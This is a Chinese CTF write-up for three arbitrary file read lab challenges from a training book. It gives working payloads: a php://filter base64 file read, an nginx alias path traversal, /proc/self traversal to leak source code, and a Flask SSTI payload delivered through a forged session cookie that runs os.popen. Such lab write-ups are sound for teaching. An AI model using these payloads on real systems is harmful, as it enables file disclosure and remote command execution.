CTFer成长之路之任意文件读取漏洞

任意文件读取漏洞

afr_1

题目描述:

暂无

docker-compose.yml

version: '3.2'services:  web:    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest    ports:      - 80:80

启动方式

docker-compose up -d

题目Flag

n1book{afr_1_solved}

Writeup

访问url：http://192.168.10.22/?p=hello

本题是考查任意文件读取，利用php://协议，访问

http://192.168.10.22/?p=php://filter/convert.base64-encode/resource=flag

将得到的数据进行base64解码，得到flag：n1book{afr_1_solved}

afr_2

题目描述:

暂无

docker-compose.yml

version: '3.2'services:  web:    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-2:latest    ports:      - 80:80

启动方式

docker-compose up -d

题目Flag

n1book{afr_2_solved}

Writeup

访问url：http://192.168.10.22/

本题是考查任意文件读取，访问 http://IP:PORT/img…/即可访问目录为/的文件（nginx错误配置）

访问url： http://192.168.10.22/img…/

即可得到目录文件，访问url：192.168.10.22/img…/flag

即可得到flag：n1book{afr_2_solved}

afr_3

题目描述:

暂无

docker-compose.yml

version: '3.2'services:  web:    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest    ports:      - 5000:5000

启动方式

docker-compose up -d

题目Flag

n1book{afr_3_solved}

Writeup

本题考查对linux系统中/proc/目录下文件作用的了解，同时考查了flask模板注入

访问url：http://192.168.10.22:5000/

输入ifconfig进行查询

继续点击article

请求http://192.168.10.22:5000/article?name=…/…/…/…/…/proc/self/cmdline获取当前执行系统命令，得到python server.py

请求 http://192.168.10.22:5000/article?name=…/…/…/…/…/proc/self/cwd/server.py获取源码

审计源码，发现flag在flag.py,flask的appkey在key.py,但是此处任意文件读取漏洞被过滤了关键词flag

源码里存在flask SSTI，前提是可以伪造flask的cookie，这里需要用到appkey https://noraj.github.io/flask-session-cookie-manager/

@app.route("/n1page", methods=["GET", "POST"])def n1page():    if request.method != "POST":        return redirect(url_for("index"))    n1code = request.form.get("n1code") or None    if n1code is not None:        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")    if "n1code" not in session or session['n1code'] is None:        session['n1code'] = n1code    template = None    if session['n1code'] is not None:     '''     这里存在SSTI     '''        template = ''' 
 Hello : %s, why you don't look at our article? 
 

{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}

python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

博客:https://rdyx0.github.io/先知社区：https://xz.aliyun.com/u/37846SecIN:https://www.sec-in.com/author/3097CSDN:https://blog.csdn.net/weixin_48899364?type=blog公众号：https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf：https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85